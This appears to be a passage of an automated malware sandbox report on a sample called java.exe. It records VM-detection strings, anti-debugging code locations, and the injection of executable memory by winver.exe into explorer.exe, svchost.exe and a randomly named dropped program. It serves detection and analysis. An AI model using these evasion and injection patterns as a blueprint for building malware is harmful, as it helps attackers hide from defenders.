Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware vsphere client\|vspe6388
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|vdi3894
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A54E000.00000004.00000001.00020000.00000000.sdmp, SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|hyper-v manager\|hyper v4919
Source: SearchApp.exe, 0000000B.00000000.1855361847.0000024B55CC4000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: VMware.Workstation.vmui218
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware horizon client\|view5503
Source: svchost.exe, 00000005.00000000.1715147840.00000151A4AAE000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: @os=windows; osVer=10.0.19045.2006; lcid=en-GB; deviceType=9; deviceModel=VMware, Inc./VMware20,1;
Source: SearchApp.exe, 0000000B.00000003.1882108297.0000024B5A153000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: {7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Meld\Meld.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Sparx Systems\EA\EA.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MakeMKV\makemkv.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MirrorOp\MirrorOp.exeC:\Games\Counter-Strike WaRzOnE\CS16Launcher.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\PDFBinder\PDFBinder.exe{6D809377-6AF0-444B-8957-A3773F02200E}\PureRef\PureRef.exeA97ECD55.KYOCERAPrintCenter_kqmhh0ktdt7dg!KYOCERAPrintCenter{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Meitu\XiuXiu\XiuXiu.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\Zoiper5\Zoiper5.exe{7C5A40EF-A0FB-4BFC-874A-C0F2E0B9FA8E}\MP3Gain\MP3GainGUI.exe{6D809377-6AF0-444B-8957-A3773F02200E}\Hyper-V\VMCreate.exeLenovoCorporation.LenovoSettings_4642shxvsv8s2!App10978
Source: SearchApp.exe, 0000000B.00000003.1812545124.0000024B5CBD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: Enterprise\Co\|vmware horizon client\|view5503
Source: SearchApp.exe, 0000000B.00000003.1815167421.0000024B5A502000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware vsphere client\|vcenter5038
Source: SearchApp.exe, 0000000B.00000003.1883649123.0000024B5CBD7000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: \|vmware vsphere client\|vspe6388-4BFC-874A
Source: explorer.exe, 00000003.00000002.2905026359.0000000001240000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SCSI\DISK&VEN_VMWARE&PROD_VIRTUAL_DISK\4&1656F219&0&000000
Source: SearchApp.exe, 0000000B.00000003.1812545124.0000024B5CBD6000.00000004.00000001.00020000.00000000.sdmp	Binary or memory string: 377\|vmware workstation 15 player\|vmplayer6438

Source: C:\Users\user\Desktop\java.exe	API call chain: ExitProcess graph end node	graph_0-3090
Source: C:\Windows\SysWOW64\winver.exe	API call chain: ExitProcess graph end node	graph_2-2656
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	API call chain: ExitProcess graph end node	graph_13-5409
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	API call chain: ExitProcess graph end node	graph_13-5528
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	API call chain: ExitProcess graph end node	graph_13-5893
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	API call chain: ExitProcess graph end node
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	API call chain: ExitProcess graph end node

Source: C:\Windows\SysWOW64\winver.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Users\user\Desktop\java.exe

Code function: 0_2_02230005 rdtsc

0_2_02230005

Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_00401000 mov eax, dword ptr fs:[00000030h]	0_2_00401000
Source: C:\Users\user\Desktop\java.exe	Code function: 0_2_02230C63 mov eax, dword ptr fs:[00000030h]	0_2_02230C63
Source: C:\Windows\SysWOW64\winver.exe	Code function: 2_2_03390C3F mov eax, dword ptr fs:[00000030h]	2_2_03390C3F
Source: C:\Windows\explorer.exe	Code function: 3_2_01340C3F mov eax, dword ptr fs:[00000030h]	3_2_01340C3F
Source: C:\Windows\explorer.exe	Code function: 3_2_01370C3F mov eax, dword ptr fs:[00000030h]	3_2_01370C3F
Source: C:\Windows\System32\sihost.exe	Code function: 4_2_00AC0C3F mov eax, dword ptr fs:[00000030h]	4_2_00AC0C3F
Source: C:\Windows\System32\svchost.exe	Code function: 5_2_00910C3F mov eax, dword ptr fs:[00000030h]	5_2_00910C3F
Source: C:\Windows\System32\svchost.exe	Code function: 6_2_009A0C3F mov eax, dword ptr fs:[00000030h]	6_2_009A0C3F
Source: C:\Windows\System32\ctfmon.exe	Code function: 7_2_00A50C3F mov eax, dword ptr fs:[00000030h]	7_2_00A50C3F
Source: C:\Windows\System32\svchost.exe	Code function: 8_2_00D40C3F mov eax, dword ptr fs:[00000030h]	8_2_00D40C3F
Source: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe	Code function: 9_2_00B50C3F mov eax, dword ptr fs:[00000030h]	9_2_00B50C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 10_2_00110C3F mov eax, dword ptr fs:[00000030h]	10_2_00110C3F
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_001C0C3F mov eax, dword ptr fs:[00000030h]	13_2_001C0C3F
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 13_2_02300C63 mov eax, dword ptr fs:[00000030h]	13_2_02300C63
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 15_2_00AB0C3F mov eax, dword ptr fs:[00000030h]	15_2_00AB0C3F
Source: C:\Windows\System32\smartscreen.exe	Code function: 16_2_00290C3F mov eax, dword ptr fs:[00000030h]	16_2_00290C3F
Source: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe	Code function: 19_2_00580C3F mov eax, dword ptr fs:[00000030h]	19_2_00580C3F
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 20_2_001C0C3F mov eax, dword ptr fs:[00000030h]	20_2_001C0C3F
Source: C:\Users\user\AppData\Roaming\0C0BC82C\bin.exe	Code function: 20_2_022A0C63 mov eax, dword ptr fs:[00000030h]	20_2_022A0C63
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 22_2_003D0C3F mov eax, dword ptr fs:[00000030h]	22_2_003D0C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 23_2_00900C3F mov eax, dword ptr fs:[00000030h]	23_2_00900C3F
Source: C:\Windows\System32\ApplicationFrameHost.exe	Code function: 24_2_00180C3F mov eax, dword ptr fs:[00000030h]	24_2_00180C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 26_2_00190C3F mov eax, dword ptr fs:[00000030h]	26_2_00190C3F
Source: C:\Windows\System32\oobe\UserOOBEBroker.exe	Code function: 28_2_00010C3F mov eax, dword ptr fs:[00000030h]	28_2_00010C3F
Source: C:\Windows\System32\svchost.exe	Code function: 29_2_000D0C3F mov eax, dword ptr fs:[00000030h]	29_2_000D0C3F
Source: C:\Windows\System32\dllhost.exe	Code function: 30_2_00260C3F mov eax, dword ptr fs:[00000030h]	30_2_00260C3F
Source: C:\Windows\SysWOW64\cscript.exe	Code function: 31_2_04D80C3F mov eax, dword ptr fs:[00000030h]	31_2_04D80C3F
Source: C:\Windows\System32\conhost.exe	Code function: 32_2_00880C3F mov eax, dword ptr fs:[00000030h]	32_2_00880C3F
Source: C:\Windows\System32\conhost.exe	Code function: 33_2_00900C3F mov eax, dword ptr fs:[00000030h]	33_2_00900C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 35_2_00890C3F mov eax, dword ptr fs:[00000030h]	35_2_00890C3F
Source: C:\Windows\System32\RuntimeBroker.exe	Code function: 36_2_00030C3F mov eax, dword ptr fs:[00000030h]	36_2_00030C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 37_2_01530C3F mov eax, dword ptr fs:[00000030h]	37_2_01530C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 38_2_02770C3F mov eax, dword ptr fs:[00000030h]	38_2_02770C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 39_2_00B80C3F mov eax, dword ptr fs:[00000030h]	39_2_00B80C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 40_2_008B0C3F mov eax, dword ptr fs:[00000030h]	40_2_008B0C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 41_2_00B50C3F mov eax, dword ptr fs:[00000030h]	41_2_00B50C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 42_2_02EB0C3F mov eax, dword ptr fs:[00000030h]	42_2_02EB0C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 43_2_02D10C3F mov eax, dword ptr fs:[00000030h]	43_2_02D10C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 44_2_02B40C3F mov eax, dword ptr fs:[00000030h]	44_2_02B40C3F
Source: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe	Code function: 45_2_02E20C3F mov eax, dword ptr fs:[00000030h]	45_2_02E20C3F

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\explorer.exe base: 1340000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\sihost.exe base: AC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 910000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: 9A0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\ctfmon.exe base: A50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\explorer.exe base: 1370000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: D40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.StartMenuExperienceHost_cw5n1h2txyewy\StartMenuExperienceHost.exe base: B50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 110000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\Microsoft.Windows.Search_cw5n1h2txyewy\SearchApp.exe base: A90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: AB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\smartscreen.exe base: 290000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SystemApps\MicrosoftWindows.Client.CBS_cw5n1h2txyewy\TextInputHost.exe base: 580000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 3D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 900000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\ApplicationFrameHost.exe base: 180000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files\WindowsApps\Microsoft.WindowsStore_11910.1002.5.0_x64__8wekyb3d8bbwe\WinStore.App.exe base: A10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 190000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\ImmersiveControlPanel\SystemSettings.exe base: F10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\oobe\UserOOBEBroker.exe base: 10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\svchost.exe base: D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\dllhost.exe base: 260000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\SysWOW64\cscript.exe base: 4D80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 880000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\conhost.exe base: 900000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\backgroundTaskHost.exe base: C50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 890000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Windows\System32\RuntimeBroker.exe base: 30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1530000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2770000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B80000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 8B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B50000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2EB0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2D10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2B40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2E20000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: BE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2CA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: C40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1120000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2F40000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B30000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2F60000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 3070000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 14D0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: B70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1610000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2C90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: CC0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 660000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 14B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1010000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: D90000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F10000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 6E0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 930000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AD0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 2360000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 970000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1050000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 7B0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 1020000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 9C0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: 850000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: AA0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: CE0000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: F70000 protect: page execute and read and write	Jump to behavior
Source: C:\Windows\SysWOW64\winver.exe	Memory allocated: C:\Program Files (x86)\UEZVPAWBrVuxNtrMwzEvCsWkYCyFbIKeGSMxqYElFJBZQmOcXHXKNlbXOsnnzpaFjUa\BjCNEZCMnwLaEEzWr.exe base: FC0000 protect: page execute and read and write	Jump to behavior
